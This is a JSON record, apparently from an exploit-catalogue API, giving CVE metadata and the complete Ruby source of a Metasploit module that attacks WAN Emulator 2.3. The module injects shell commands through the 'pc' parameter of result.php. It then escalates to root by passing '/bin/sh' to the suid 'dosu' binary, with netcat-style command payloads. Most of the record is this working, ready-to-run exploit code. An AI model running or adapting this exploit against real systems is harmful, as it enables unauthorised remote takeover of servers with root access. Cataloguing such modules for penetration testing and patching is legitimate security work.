{"exploit":{"id":"MSF-linux--http--wanem_exec","name":"WAN Emulator v2.3 Command Execution","description":"This module exploits a command execution vulnerability in WAN Emulator version 2.3 which can be abused to allow unauthenticated users to execute arbitrary commands under the context of the 'www-data' user. The 'result.php' script calls shell_exec() with user controlled data from the 'pc' parameter. This module also exploits a command execution vulnerability to gain root privileges. The 'dosu' binary is suid 'root' and vulnerable to command execution in argument one.","cves":["CVE-2012-10041"],"author":"bcoles","published":"2012-08-12","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/wanem_exec.rb","path":"modules/exploits/linux/http/wanem_exec.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"wanem_exec.rb","vulnerabilities":[{"id":"CVE-2012-10041","state":"PUBLISHED","title":"WAN Emulator v2.3 Command Execution","titleSource":"CVE Program","description":"WAN Emulator v2.3 contains two unauthenticated command execution vulnerabilities. The result.php script calls shell_exec() with unsanitized input from the pc POST parameter, allowing remote attackers to execute arbitrary commands as the www-data user. The system also includes a SUID-root binary named dosu, which is vulnerable to command injection via its first argument. An attacker can exploit both flaws in sequence to achieve full remote code execution and escalate privileges to root.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-10041","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2012-10041"},"updatedAt":"2026-04-07T14:02:37.528Z","retrievedAt":"2026-11-26T13:57:36.401Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--wanem_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--wanem_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--wanem_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--wanem_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WAN Emulator v2.3 Command Execution',\n        'Description' => %q{\n          This module exploits a command execution vulnerability in WAN Emulator\n          version 2.3 which can be abused to allow unauthenticated users to execute\n          arbitrary commands under the context of the 'www-data' user.\n          The 'result.php' script calls shell_exec() with user controlled data\n          from the 'pc' parameter. This module also exploits a command execution\n          vulnerability to gain root privileges. The 'dosu' binary is suid 'root'\n          and vulnerable to command execution in argument one.\n        },\n        'License' => MSF_LICENSE,\n        'Privileged' => true,\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Author' => [\n          'bcoles', # Discovery and exploit\n        ],\n        'References' => [\n          ['CVE', '2012-10041'],\n          ['OSVDB', '85344'],\n          ['OSVDB', '85345']\n        ],\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\\x22\\x27\",\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic netcat netcat-e',\n                        }\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread'\n        },\n        'Targets' => [\n          ['Automatic Targeting', { 'auto' => true }]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2012-08-12',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_new_session(client)\n    client.shell_command_token(\"/UNIONFS/home/perc/dosu /bin/sh\")\n  end\n\n  def check\n    fingerprint = Rex::Text.rand_text_alphanumeric(rand(8) + 4)\n    data = \"pc=127.0.0.1; \"\n    data << Rex::Text.uri_encode(\"echo #{fingerprint}\")\n    data << \"%26\"\n    vprint_status(\"Sending check\")\n\n    begin\n      res = send_request_cgi({\n        'uri' => '/WANem/result.php',\n        'method' => 'POST',\n        'data' => data\n      }, 25)\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n      vprint_error(\"Connection failed\")\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    end\n\n    if res and res.code == 200 and res.body =~ /#{fingerprint}/\n      return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n    else\n      return Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  def exploit\n    data = \"pc=127.0.0.1; \"\n    data << Rex::Text.uri_encode(payload.raw)\n    data << \"%26\"\n    print_status(\"Sending payload (#{payload.raw.length} bytes)\")\n    begin\n      res = send_request_cgi({\n        'uri' => '/WANem/result.php',\n        'method' => 'POST',\n        'data' => data\n      }, 25)\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n      print_error(\"Connection failed\")\n    end\n    if res and res.code == 200\n      print_good(\"Payload sent successfully\")\n    else\n      print_error(\"Sending payload failed\")\n    end\n  end\nend\n","sha256":"993fbe12cfb22c0f750d3cdf5199f2744a84a5e6172402a8ac485a25fdd5578f","bytes":3550,"fetchedAt":"2026-11-26T13:57:36.287Z","encoding":"utf-8 (display only; download retains original bytes)"}